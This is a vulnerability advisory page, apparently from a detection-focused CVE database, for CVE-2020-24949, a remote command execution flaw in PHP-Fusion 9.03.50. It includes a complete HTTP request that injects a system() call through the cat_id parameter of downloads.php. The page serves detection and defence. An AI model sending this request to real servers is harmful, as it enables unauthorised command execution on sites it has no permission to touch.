🔙 목록으로 돌아가기

CVE-2020-24949: PHP-Fusion 9.03.50 - Remote Code Execution

TitlePHP-Fusion 9.03.50 - Remote Code Execution
Authorgeeknik
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system, potentially leading to full compromise.
RemediationApply the latest security patch or upgrade to a non-vulnerable version of PHP-Fusion.
CVSS Score8.8
EPSS Score0.8889
CVE IDCVE-2020-24949
CWE IDCWE-77
Tags cve cve2020 rce php packetstorm phpfusion php-fusion vkev vuln

🔍 Vulnerability Description

PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.

🌐 HTTP Request

GET /infusions/downloads/downloads.php?cat_id=${system(ls)} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24949.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-24949.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A